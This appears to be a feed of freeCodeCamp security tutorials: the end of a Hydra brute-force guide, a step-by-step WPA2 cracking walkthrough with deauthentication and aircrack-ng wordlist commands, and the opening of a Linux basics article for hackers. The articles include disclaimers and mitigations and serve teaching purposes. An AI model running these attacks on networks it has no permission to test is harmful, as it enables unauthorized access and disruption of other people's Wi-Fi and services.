<p>If we have a list of usernames and passwords, we can implement a dictionary attack. But if we have more information on which usernames are likely to have a set of passwords, we can prepare a custom list for Hydra.</p>
<p>For example, we can create a list of usernames and passwords separated by semicolons like the one below.</p>
<pre><code>username1:password1
<span class="hljs-attr">username2</span>:password2
<span class="hljs-attr">username3</span>:password3
</code></pre><p>We can then use the -C flag to tell Hydra to run these specific combinations instead of looping through all the users and passwords. This drastically reduces the time taken to complete a brute-force attack.</p>
<p>Here is the syntax.</p>
<pre><code>$ hydra -C &lt;combinations.txt&gt; &lt;ip&gt; &lt;service&gt;
</code></pre><p>We have seen how to work with Hydra in detail. Now you should be ready to perform real-world audits of network services like FTP, SSH, and Telnet.</p>
<p>But as a pen-tester, it is important to understand how to defend against these attacks. Remember, we are the good actors 😎.</p>
<h1 id="heading-how-to-defend-against-hydra">How to Defend Against Hydra</h1>
<p>The clear solution to help you defend against brute-force attacks is to set strong passwords. The stronger a password is, the harder it is to apply brute-force techniques.</p>
<p>We can also enforce password policies to change passwords every few weeks. Unfortunately, many individuals and businesses use the same passwords for years. This makes them easy targets for brute-force attacks.</p>
<p>Another way to prevent network-based brute-forcing is to limit authorization attempts. Brute-force attacks do not work if we lock accounts after a few failed login attempts. This is common in apps like Google and Facebook that lock your account if you fail a few login attempts.</p>
<p>Finally, tools like re-captcha can be a great way to prevent brute-force attacks. Automation tools like Hydra cannot solve captchas like a real human being.</p>
<h1 id="heading-summary">Summary</h1>
<p>Hydra is a fast and flexible network brute-forcing tool to attack services like SSH, and FTP. With a modular architecture and support for parallelization, Hydra can be extended to include new protocols and services easily. </p>
<p>Hydra is undoubtedly a powerful tool to have in your pen-testing toolkit.</p>
<p>Hope this article helped you to understand how Hydra works. If you have any questions, let me know in the comments. </p>
<p>You can <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/">connect with me</a> or signup for the <a target="_blank" href="https://tinyletter.com/stealthsecurity">Stealth Security Newsletter</a>. If you really enjoyed the article, you can <a target="_blank" href="https://www.buymeacoffee.com/manishmshiva">buy me a coffee here</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Wi-Fi Hacking 101 – How to Hack WPA2 and Defend Against These Attacks ]]>
                </title>
                <description>
                    <![CDATA[ Welcome to the world of Wi-Fi hacking, everybody. 💻. In my previous article, we talked about some basic Linux skills and tricks. In this article you are going to learn a basic Wi-Fi hacking procedure using those skills. You'll learn things such as h... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/wi-fi-hacking-101/</link>
                <guid isPermaLink="false">66bb902ccaaeb78feb348949</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ wifi ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Tue, 18 Oct 2022 20:37:37 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/10/image-74-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Welcome to the world of Wi-Fi hacking, everybody. 💻.</p>
<p>In my <a target="_blank" href="https://www.freecodecamp.org/news/linux-basics/">previous article</a>, we talked about some basic Linux skills and tricks. In this article you are going to learn a basic Wi-Fi hacking procedure using those skills.</p>
<p>You'll learn things such as how to:</p>
<ol>
<li>Monitor Wi-Fi networks around you</li>
<li>Perform a DOS attack</li>
<li>Protect yourself against Wi-Fi attacks</li>
</ol>
<p><strong>Disclaimer: This is strictly for educational purposes only (and, of course, for a little fun). Do not under any circumstances, conditions, or influence of unwise friends use the hacks you learn here on organisations, individuals, or your probably annoying neighbour. You would be committing a crime and you'll either be fined, sent to jail, or just get your parents embarrassed.</strong></p>
<p>And now that we have that lovely introduction out of the way, let’s proceed.🙃</p>
<h2 id="heading-what-well-cover">What We'll Cover:</h2>
<p>Here's a basic rundown of what this tutorial contains:</p>
<ol>
<li>Introduction</li>
<li>What is a Packet?</li>
<li>How to Crack WPA2<ul>
<li>Prerequisites</li>
<li>How to put the network card into monitor mode</li>
<li>How to look for the target</li>
<li>How to capture the handshake packets</li>
<li>How to perform a DOS attack</li>
<li>How to obtain the password (hopefully)</li>
</ul>
</li>
<li>Mitigations Against WiFi Attacks</li>
<li>Conclusion</li>
</ol>
<h2 id="heading-introduction">Introduction</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-75.png" alt="A router" width="600" height="400" loading="lazy">
<em>A router ¦ Credit: Unsplash.com</em></p>
<p>Wireless Fidelity (Wi-Fi) is a common technology many of us use in our daily lives. Wether it's at school, home, or simply bingeing Netflix, it’s increasingly rare to see anyone carry out Internet related activities without it. </p>
<p>But have you ever tried to hack Wi-Fi? 🤔 (I’m sure you’ve been tempted 😏).</p>
<p>In order to hack something, you need to know how it works. This means you need to understand how the tech works in the first place. So let’s start from the basics: The Packet.</p>
<h2 id="heading-what-is-a-packet">What is a Packet?</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-76.png" alt="A Basic Packet" width="600" height="400" loading="lazy">
<em>A Basic Packet. Credit: ResearchGate.com</em></p>
<p>A Packet is the basic unit/building block of data in a computer network. When data is transferred from one computer to another, it is broken down and sent in packets. </p>
<p>Think of packets like Lego building blocks. You (the computer) receive the complete set (the complete data) in pieces (packets) from the seller (another computer). You will then assemble the blocks together to build up the figure based on the instructions given in order to enjoy it (or in this case, for the whole data to make sense).</p>
<p>A packet, also known as a datagram, is made up of two basic parts:</p>
<ol>
<li>A Header</li>
<li>The Payload/Data</li>
</ol>
<p>The Header contains information about the packet. This helps the network and the receiving computer know what to do with it, such as the source and destination IP addresses. </p>
<p>The Payload is the main content the packet contains. It’s also worth mentioning that packets can be encrypted so that their data can't be read if gotten by an attacker.</p>
<p>In a network, packets are a requirement for packet switching. Packet switching means breaking down data into packets and sending them to various computers using different routes. When received, the computers can then assemble these packets to make sense of it all. The Internet is the largest known packet switching network on earth.</p>
<p>Now let's see how we can apply this knowledge to wireless networks.</p>
<h2 id="heading-how-to-crack-wpa2">How to Crack WPA2</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-77.png" alt="A bunch of random code" width="600" height="400" loading="lazy">
<em>A bunch of random code. Credit: Unsplash.com</em></p>
<p>Wi-Fi can use a number of various protocols to give you a secure internet connection. From the least to most secure, they are:</p>
<ol>
<li>Open</li>
<li>WEP (Wired Equivalent Privacy)</li>
<li>WPA2 (Wi-Fi Protected Access 2)</li>
<li>WPA3 (Wi-Fi Protected Access 3)</li>
</ol>
<p>An open network is pretty much as the name implies – open. It has no password and practically anyone can connect to it. </p>
<p>WEP is an old protocol, rarely in use and requires a password like its successors.</p>
<p>WPA2 is the most commonly used protocol around the world. WPA3 is a newest and the most secure protocol known till date. But it is rarely used and only available on newer devices.</p>
<h3 id="heading-prerequisites">Prerequisites</h3>
<p>Wi-Fi works by constantly sending packets of data to your authenticated device. In order to hack it, you’ll need:</p>
<ol>
<li>A Linux machine (Preferably Kali Linux)</li>
<li>A wireless adapter</li>
</ol>
<p>To install Kali from scratch, you can follow <a target="_blank" href="https://www.freecodecamp.org/news/how-to-install-kali-linux/">this tutorial</a>. </p>
<p>If you haven’t already, you’ll need to install a tool called Aircrack-ng on your machine. To install it, just type in the command below.</p>
<pre><code>sudo apt install aircrack-ng
</code></pre><h3 id="heading-how-to-put-the-network-card-into-monitor-mode">How to Put the Network Card into Monitor Mode</h3>
<p>You first want to get information about the target. This is what hackers call reconnaissance. </p>
<p>In order to do that you need to first change your wireless card from ‘managed’ mode to ‘monitor’ mode. This will turn it from a mere network card to a wireless network reader.</p>
<p>First you need to find out the name of your wireless card. Plug in your adapter and run the <code>iwconfig</code> command to find out. It’s usually the last one on the list.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-78.png" alt="iwconfig" width="600" height="400" loading="lazy">
<em>iwconfig. Credit: Daniel Iwugo</em></p>
<p>As you can see, mine is <code>wlan1</code>. Now run the following commands:</p>
<pre><code>sudo airmon-ng check rfkillsudo
airmon-ng start &lt;network interface&gt;
</code></pre><p><code>sudo</code> indicates the need for root privileges, <code>check rfkill</code> stops processes that could hinder the card from going into monitor mode, and <code>start</code> tells airmon-ng which network card to execute on. Replace the <code>&lt;network interface&gt;</code> with the name of your wireless card.</p>
<p><code>airmon-ng</code> is a script that instantly changes your card to monitor mode. You actually can do this manually or make a script of your own but I personally prefer something rather simple.</p>
<h3 id="heading-how-to-look-for-the-target">How to Look for the Target</h3>
<p>To see what networks are around you, run the following command:</p>
<pre><code>sudo airodump-ng &lt;network interface&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-81.png" alt="Airodump" width="600" height="400" loading="lazy">
<em>Airodump. Credit: Daniel Iwugo</em></p>
<p><code>airodump-ng</code> is a part of the <code>aircrack-ng</code> suite that allows a network card to view the wireless traffic around it.</p>
<p>As you can see we get a lot of information. But let's take a quick look at the ESSID (Extended Service Set Identifier) column. Also known as the AP (Access Point) name, this column shows the name of the target network, which in my case will be ‘Asteroid’.</p>
<p>You want to concentrate on the target AP and ignore the rest. To do this, press Ctrl+C to cancel the current scan and this time, append the bssid of the network with the bssid flag as shown below.</p>
<pre><code>sudo airodump-ng &lt;network interface&gt; --bssid &lt;AP&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-82.png" alt="Airodump in action" width="600" height="400" loading="lazy">
<em>Airodump in action. Credit: Daniel Iwugo</em></p>
<p>The BSSID stands for Basic Service Set Identifier, a fancy name for the MAC address of the device. You use it to identify the device on a network, along with the ESSID (Name of the AP). Technically, you could just use the ESSID flag instead but different APs could have the same name. However, no two APs can ever have the same BSSID.</p>
<p>Below is a code snippet of what you would type to get info about the AP using the ESSID only.</p>
<pre><code>sudo airodump-ng &lt;network interface&gt; --bssid &lt;AP ESSID&gt;
</code></pre><p>Note: If the name has a space, enclose it with quotes. For example, <code>--bssid “Asteroid 1”</code> .</p>
<p>You’ll notice I highlighted the MAC address of a client connected to the AP under the ‘Station’ column. To its left is the MAC address of the AP it is connected to.</p>
<h3 id="heading-how-to-capture-the-handshake-packets">How to Capture the Handshake Packets</h3>
<p>The next step is to capture the handshake packets (Remember packets? 👀). Handshake packets are the first four packets sent from the AP when an authenticated device connects to an AP. </p>
<p>This means we have two options:</p>
<ol>
<li>Wait for a device to connect to the AP</li>
<li>De-authenticate the device and then let it connect to the AP</li>
</ol>
<p>The second one sounds a lot more fun so let’s go for it.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-83.png" alt="An LED keyboard" width="600" height="400" loading="lazy">
<em>An LED keyboard. Credit: Unsplash.com</em></p>
<h3 id="heading-how-to-perform-a-dos-attack">How to Perform a DOS Attack</h3>
<p>You can use <code>aireplay-ng</code> or <code>mdk4</code> to disconnect devices from APs for a time. This is called a de-authentication attack or a wireless DOS (Denial-Of-Service) attack.</p>
<p>Now here’s the game plan:</p>
<ol>
<li>Setup airodump-ng to capture packets and save them</li>
<li>De-authenticate the device for some time while airodump-ng is running</li>
<li>Capture the handshake</li>
</ol>
<p>Got all that? Good. Let’s roll. 👨‍💻👩‍💻</p>
<p>First, run the command to capture and save packets:</p>
<pre><code>sudo airodump-ng -c &lt;channel number&gt; --bssid &lt;AP BSSID&gt; &lt;network interface&gt; -w &lt;path for saved packets file&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-84.png" alt="Airodump capturing packets" width="600" height="400" loading="lazy">
<em>Airodump capturing packets. Credit: Daniel Iwugo</em></p>
<p>Here, we're using the <code>-c</code> flag to specify the channel to search, the <code>--bssid</code> flag for the MAC address of the AP, and the <code>-w</code> flag to give a path you want to save the captured packets to.</p>
<p>Quick lesson: Channels reduce the chances of APs interfering with each other. When running <code>airodump-ng</code>, you can identify the channel number under the CH column.</p>
<p>While that is running, you’re going to run your de-authentication attack against the device connected to it using the command:</p>
<pre><code>sudo aireplay-ng -a &lt;BSSID <span class="hljs-keyword">of</span> the AP&gt; --deauth &lt;time&gt; <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">network</span> <span class="hljs-attr">interface</span>&gt;</span></span>
</code></pre><p>The <code>-a</code> flag specifies the MAC address of the AP, <code>--deauth</code> specifies how long you want the attack to run in seconds, followed up by the network card.</p>
<p>A de-authentication attack involves using your own network card to send packets to interrupt communication between the AP and the client. It’s not perfect and sometimes the client may connect back, but only for a short time. </p>
<p>If your Wi-Fi is acting crazy and you seem to be disconnecting and connecting randomly back to it, you may be experiencing a de-authentication attack.</p>
<p>In the command above, you’re targeting the AP and running the attack. Note that you can instead attack any device connected to the AP and you should get the same result. All you need to do is to change the <code>-a</code> flag to the MAC address of any device connected.</p>
<p>While the DOS attack is underway, check on your airodump scan. You should see at the right top : <code>WPA handshake: &lt;mac address&gt;</code>. Once you have verified that, you can stop the replay attack and the <code>airodump-ng</code> scan.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-85.png" alt="Carrying out the replay attack to get the handshake" width="600" height="400" loading="lazy">
<em>Carrying out the replay attack to get the handshake. Credit: Daniel Iwugo</em></p>
<h3 id="heading-how-to-obtain-the-password-hopefully">How to Obtain the Password (Hopefully)</h3>
<p>In the final steps, you are going to run a bunch of generated Pairwise Master Keys (PMKs) against the captured packets to get the password. Let me break it down.</p>
<p>A PMK is basically an algorithmic combination of a word and the APs name. Our intention is to continuously generate PMKs using a wordlist against the handshake. If the PMK is valid, the word used to generate it is the <strong>password</strong>. If the PMK is not valid, it skips to the next word on the list.</p>
<p>I’m going to use the rockyou wordlist located in the <code>/usr/share/wordlists</code> directory. I think this is only found in Kali so if you have a different OS, you might make one of your own manually or generate one using <code>crunch</code>. </p>
<p>If it isn’t already extracted, just run the command:</p>
<pre><code>sudo gunzip /usr/share/wordlists/rockyou.txt.gz
</code></pre><p>Quick history lesson: The rockyou wordlist is a bunch of passwords gotten from one of the most infamous cybersecurity data breaches that affected a company of the same name. It contains approximately 14 million unique passwords that were used in over 32 million accounts and as such, is one of the most dependable wordlists on the planet.</p>
<p>Now run the command:</p>
<pre><code>sudo aircrack-ng &lt;captured file <span class="hljs-keyword">with</span> .cap&gt; -w &lt;path to wordlist&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-86.png" alt="Image" width="600" height="400" loading="lazy">
<em>Password cracking. Credit: Mercury</em></p>
<p>Alright, everyone – mission accomplished 😎.</p>
<p>The password was, well… ‘password’. Pretty disappointing from a security perspective, but I set this network up just for fun for the purposes of this tutorial. In reality, this could take minutes to hours depending on the length and strength of the password.</p>
<p>To clean up, simply remove the file captures, close your terminals, and run the command <code>service NetworkManager restart</code> to change your network card back to managed mode so you can connect to the Wi-Fi.</p>
<h2 id="heading-mitigations-against-wifi-attacks">Mitigations Against WiFi Attacks</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-87.png" alt="Image" width="600" height="400" loading="lazy">
<em>A basic personal workspace setup ¦ Credit: Wallpaperflare.com</em></p>
<p>Basic Wi-Fi security should cover this attack from a defensive perspective. Using WPA3 which is a newer protocol is your best bet against such an attack. To mitigate against de-authentication attacks, use an ethernet connection if possible.</p>
<p>Assuming that option is not on the table, you can use a strong passphrase (not a password) to minimise the attackers chances of getting it. A passphrase is a string of words simply used as a password. Passphrases tend to be longer than passwords, easier to remember, and are a rarer practice. Therefore, they will hardly be found in wordlists.</p>
<p>For example, ‘mercury’ is more likely to be found in a wordlist than ‘mercurylovespluto’. The later is a 15-character passphrase and as simple as it is, it would be hard for an attacker to find, guess, or generate.</p>
<p>Another mitigation would be to disable WPS (Wi-Fi Protected Setup) and avoid under any circumstance using a router that uses the WEP protocol. You’d just be asking for unwanted attention as it’s a lot easier to hack both of these than WPA2.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Let’s summarise what you’ve learned:</p>
<ol>
<li>Change the wireless adaptor to monitor mode using airmon-ng</li>
<li>Scan for the target AP using airodump-ng and capture the packets</li>
<li>Perform a DOS attack on the AP to get the handshake packets</li>
<li>End the DOS once you have verified you captured the necessary packet</li>
<li>Use aircrack-ng to generate PMKs to run against the handshake packets</li>
</ol>
<p>Sometimes, the password may not be in the wordlist. In that case, there are many other ways to get the password such as an Evil Twin Attack or variations of what you have learned here. I also encourage you to practice this and many other attacks you discover out there, as this helps make you a master hacker.</p>
<p>Remember, this is <strong>strictly for educational purposes</strong>. Only perform this on others with their consent, or on your own devices.</p>
<p>And with that, we have come to the end of this article. Hope you enjoyed it. And as I always say, Happy hacking! 🙃</p>
<h3 id="heading-resources">Resources</h3>
<ol>
<li><a target="_blank" href="https://www.javatpoint.com/handshake-theory">A little more explanation on the handshake theory</a></li>
<li><a target="_blank" href="https://www.cloudflare.com/learning/network-layer/what-is-a-packet/">More details on packets</a></li>
<li><a target="_blank" href="https://www.diffen.com/difference/WPA2_vs_WPA3">WPA2 vs WPA3</a></li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://twitter.com/Anuoluwap__o?t=4Cv6VR2c2_wK5HLXwbvXCQ&amp;s=09">Anuoluwapo Victor</a>, <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/favour-ojo-906883199/">Favour Ojo</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used to put this post together. You’re my unsung heroes.</p>
<p>Cover photo credit: Lego Gentlemen working on a router from Wallpaperflare.com</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Linux for Hackers – Basics for Cybersecurity Beginners ]]>
                </title>
                <description>
                    <![CDATA[ Time to learn how to use the operating system of the average hacker 🐧. In this article, we will take a little tour of: The Linux operating system Package management The Linux file structure The Command Line Interface And you get to learn how to up... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/linux-basics/</link>
                <guid isPermaLink="false">66bb901eb0d3ac3d7acde3fd</guid>
                
                    <category>
                        <![CDATA[ beginner ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Mon, 26 Sep 2022 23:20:22 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/linux-basics-for-hackers.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Time to learn how to use the operating system of the average hacker 🐧.</p>
<p>In this article, we will take a little tour of:</p>
<ul>
<li>The Linux operating system</li>
<li>Package management</li>
<li>The Linux file structure</li>
<li>The Command Line Interface</li>
</ul>
<p>And you get to learn how to update your Linux distro, too. Shall we? 🙃</p>
<h2 id="heading-what-is-linux">What is Linux?</h2>
<p><img src="https://miro.medium.com/max/1400/1*fIYQYmFd0dvGejmrXxzH0Q.jpeg" alt="Hacker Penguins" width="600" height="400" loading="lazy">
<em>Hacker Penguins | Credit: Wallpaperflare.com</em></p>
<p>The Linux <a target="_blank" href="https://www.redhat.com/en/topics/linux/what-is-the-linux-kernel">kernel</a> was created by Linus Torvalds in 1991. What makes it an <a target="_blank" href="https://www.freecodecamp.org/news/what-is-an-os-operating-system-definition-for-beginners/">operating system</a> are the additions to the kernel such as a package manager, desktop environment, a shell, and a bootloader, among other components. </p>
<p>Because Linux is <a target="_blank" href="https://www.freecodecamp.org/news/what-is-open-source-software-explained-in-plain-english/">open-source</a>, there are many customisations that have been made to the operating system. Each specific combination of customisations is called a distribution or distro for short. </p>
<p>There are over hundreds, if not thousands of distros in the world. Each of them has been optimised for a specific purpose, or simply for fun by people just like you and me. </p>
<p>Some famous distros are:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Ubuntu">Ubuntu</a> (Most common)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Elementary_OS">Elementary OS</a> (One of the most beautiful)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Debian">Debian</a> (Neat and classy)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Arch_Linux">Arch Linux</a> (For linux bosses)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux">Red Hat Enterprise Linux</a> (Commercial and costly 💰)</li>
</ol>
<h2 id="heading-whats-linux-got-to-do-with-hacking">What’s Linux got to do with hacking?</h2>
<p><img src="https://miro.medium.com/max/1200/1*2vBHzk9Yxi_Tg_gHW_47IA.jpeg" alt="A Guy Fawkes mask on a keyboard" width="600" height="400" loading="lazy">
<em>A Guy Fawkes mask on a keyboard | Credit: Wallpaperflare.com</em></p>
<p>Linux is the choice OS of many hackers. Why, you may ask? Because it’s open-source, less prone to malware, lightweight, portable, and very compatible with multiple hacking tools. </p>
<p>Windows is a somewhat closed system so there are many things it doesn’t allow a hacker to do. Mac OS also isn’t that great either because of a lot of proprietary software. Linux has many distros to choose from and most can be modified as the user pleases without any restrictions.</p>
<p>A number of distros commonly used by hackers are Kali Linux, Parrot, BlackArch, and Archstrike. But don’t stop there, the options are unlimited.</p>
<p>As I mentioned earlier, Linux is also highly customisable. A great example of this feature is the desktop environment, which is a fancy name for how the desktop looks. </p>
<p>In Windows, there’s the basic taskbar, start menu, and a background with icons. It's nice that you can make slight modifications, and the feel changes with every new Windows version, especially with Windows 11. But Microsoft’s steps pale in comparison to the massive strides the Linux community has made when it comes to the way a desktop really looks and feels. </p>
<p>Common desktop environments include:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/GNOME">Gnome</a> (The best 😎)  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/KDE">KDE Plasma</a> (A Windows doppelganger)   </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Xfce">Xfce</a> (For geeks)  </li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/MATE_(software)">Mate</a> (Hardware resource-efficient)</li>
</ol>
<p>If you are into programming, you could build upon a current desktop environment released under the GNU license or develop your own desktop environment to suit your needs.</p>
<p>Tip: If you’re completely new to Linux, you might want to hold off a little before you replace your default OS. Many users are used to a GUI (Graphical User Interface) to carry out activities. But Linux users tend to use the CLI (Command Line Interface) more. This is simply because Linux is targeted towards developers and scientists, not the average user. </p>
<p>I personally suggest that you install a Linux distro on a <a target="_blank" href="https://www.redhat.com/en/topics/virtualization/what-is-a-hypervisor">hypervisor</a> such as VirtualBox, and practice getting used to it. (I’m not suggesting VMware as it has a known vulnerability as at the time of writing). If you don’t know how to install Linux, you can learn it <a target="_blank" href="https://www.freecodecamp.org/news/how-to-install-kali-linux/">here</a>.</p>
<h2 id="heading-linux-package-management">Linux Package Management</h2>
<p><img src="https://miro.medium.com/max/1400/1*72i2_4etooYTxQO3LnFVMw.jpeg" alt="Colourful Packages" width="600" height="400" loading="lazy">
<em>Colourful Packages | Credit: Wallpaperflare.com</em></p>
<p>Linux is quite different from other OSs, which means that installing apps is also different. Short version? You’re going to download apps off the distro app store via the CLI (terminal). Now for the long version.</p>
<p><strong>.exe</strong> and <strong>.msi</strong> installers (which you use to install applications in Windows) don’t work all too well in Linux. So the managers of a distro have servers that host multiple applications optimised for that particular distro. </p>
<p>With some commands in the terminal from you, and help from a package manager, your computer connects to the server, downloads applications, and installs them. You can also get system updates this way.</p>
<p>A package manager is software used to manage software that is downloaded and installed. You may have heard of at least one of the following package managers:</p>
<ol>
<li>Apt (Linux)</li>
<li>Chocolatey (Windows)</li>
<li>MacPorts (MacOS)</li>
<li>Pip (Python)</li>
<li>Npm (Javascript)</li>
<li>Gradle (Java)</li>
<li>Composer (PHP)</li>
</ol>
<p>Some .exe and .msi installers can work on Linux computers, but with a catch. A software called Wine adds a Windows compatibility layer to the distro to optimise it for Windows apps. Unfortunately, this doesn’t work for all applications. </p>
<p>Another alternative is to install Steam, or better still, SteamOS if you are a gamer with a flair for Linux 🎮.</p>
<h2 id="heading-linux-file-structure">Linux File Structure</h2>
<p><img src="https://miro.medium.com/max/1400/1*X3sQ8cTpRXdFw9SlJYVHCg.jpeg" alt="Folders" width="600" height="400" loading="lazy">
<em>Folders | Credit: Wallpaperflare.com</em></p>
<p>The Linux OS has a directory tree just like Windows. At the very top (or bottom, depending on your perspective), we have the ‘/’ folder. This would be like your C: drive in Windows. It houses all your directories, files and apps. Below it are other folders which are summarised in the pic below</p>
<p><img src="https://miro.medium.com/max/1400/1*gwrwO22ml-ZFqRUNT5USuA.png" alt="The Linux file structure" width="600" height="400" loading="lazy">
<em>The Linux file structure | Credit: Hackers-arise.com</em></p>
<p>Some important directories to take note of are:</p>
<ol>
<li>/bin : binary or executable programs (nice place for keeping persistent scripts)</li>
<li>/etc : system configuration files (an awesome place to obtain credentials)</li>
<li>/home : home directory (the default current directory when you open up the terminal)</li>
<li>/opt : optional or third-party software</li>
<li>/tmp : temporary space, usually cleared on reboot (a great place to store enumeration scripts)</li>
<li>/usr : User related programs</li>
<li>/var : log files (the perfect place to frustrate a forensic analyst)</li>
</ol>
<p>There is a lot more about Linux file structure and it probably deserves its own article, but this will do for now.</p>
<p>Now let's get a lot more hands-on experience in the terminal, and run some basic commands every hacker should know.</p>
<h2 id="heading-intro-to-the-linux-shell">Intro to the Linux Shell</h2>
<p><img src="https://miro.medium.com/max/1400/1*4lQrXCH59QvOWX1-nA--Zg.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Unix and its various derivatives | Credit: Wallpaperflare.com</em></p>
<p>A shell is a text-based interface for controlling a Linux computer. Similar to Microsofts’ Powershell or cmd, it is the interface between the user and the kernel, aside from the GUI (Graphical User Interface). </p>
<p>There are various types of shells, each made with improvements based off previous ones, or optimised for a particular goal.</p>
<p>Shells are used a lot by hackers because they are the fastest and most efficient way to deliver instructions to a computer. The GUI is fine, but can be rather limited because some features cannot be accessed graphically, or the tool you want to use simply doesn’t have a graphical interface.</p>
<p>Some common shells include:</p>
<ol>
<li>The Bourne shell (sh)</li>
<li>The GNU-Bourne Again shell (bash)</li>
<li>The Z shell (zsh)</li>
<li>The C shell (csh)</li>
<li>The Korn shell (ksh)</li>
</ol>
<p>Quick lesson: The words ‘terminal’ and ‘shell’ are used interchangeably in the cybersecurity world and throughout this article. But, they are different. The terminal is the <strong>program</strong> that lets you access the shell via a graphical interface.</p>
<h2 id="heading-basic-linux-shell-commands">Basic Linux Shell Commands</h2>
<p>In this article, we’ll go through the following commands: <code>whoami, pwd, ls, cd, touch, cat, nano, operators, mv and cp, mkdir, rm and rmdir, stat, echo, grep,</code> the ‘help’ flag and <code>man</code> pages. </p>
<p>You will need any Linux distro of your choice, though I suggest Kali. If you don’t know how to install one, you can <a target="_blank" href="https://www.freecodecamp.org/news/how-to-install-kali-linux/">read this article</a>.</p>
<p>Open up the application called ‘Terminal’ and let’s begin. Shall we proceed? 🙃</p>
<h3 id="heading-how-to-use-the-whoami-command">How to use the <code>whoami</code> command</h3>
<p>You use this command to check which user you are. On a personal computer, you are most likely to have only two accounts: the one created when installing the OS and root. If you are in the terminal as a normal user (account), you can try it out.</p>
<pre><code>whoami
</code></pre><p><img src="https://miro.medium.com/max/516/1*STvkLP5IE9ElhykvkcxSlw.png" alt="Image" width="600" height="400" loading="lazy">
<em>whoami | Credit: Mercury</em></p>
<p>If you want to be root, run the command <em>sudo su</em> and put in your password. Try <code>whoami</code> and the terminal will tell you root:</p>
<p><img src="https://miro.medium.com/max/698/1*5beFT8yRjD6Gvlb91Wfs9A.png" alt="Image" width="600" height="400" loading="lazy">
<em>whoami as root | Credit: Mercury</em></p>
<p>Enterprise computers tend to have many users on one computer. As I stated in a <a target="_blank" href="https://www.freecodecamp.org/news/what-is-hacking/">previous article</a>, each has various <a target="_blank" href="https://www.howtogeek.com/school/windows-network-sharing/lesson1/">permissions</a>, some more than others. When you gain initial access post-exploitation, you usually start of with a standard account. If you want to check if the name of the compromised account, use this command.</p>
<h3 id="heading-how-to-use-the-pwd-command">How to use the <code>pwd</code> command</h3>
<p>The Present Working Directory (<code>pwd</code>) command informs you of where you currently are in the directory tree. By default this usually is the home directory.</p>
<pre><code>pwd
</code></pre><p><img src="https://miro.medium.com/max/554/1*1amzxhqu8TEM5-Qdkbv8ew.png" alt="Image" width="600" height="400" loading="lazy">
<em>Present Working Directory | Credit: Mercury</em></p>
<p>If you are a beginner, it's quite normal to be lost in the directory tree and suddenly lose track of where you are. This command helps you to keep track of things.</p>
<p>Depending on your distro, you may see a <code>~</code> symbol when you open the terminal. That is the symbol for the default home directory for the user. It’s like the <code>C:\Users\&lt;default_user&gt;</code> folder in Windows, containing all user-specific files. In Linux, it will be as the format above <code>/home/&lt;default_user&gt;</code>.</p>
<h3 id="heading-how-to-use-the-ls-command">How to use the <code>ls</code> command</h3>
<p>You use the <code>ls</code> command to list the contents of a directory. It lets you know what files are inside a directory without a GUI. </p>
<p>When used with flags, it’s a Swiss army knife, with various ways of showing what’s in the directory. </p>
<p>Common flags you might want to take note of are <code>-l</code> (long listing), <code>-a</code> (all aka show hidden files), and <code>-c</code> (show recently modified).ls.</p>
<p><img src="https://miro.medium.com/max/1316/1*NlpDMpdjfXoLqSFSEtozNg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Listing | Credit: Mercury</em></p>
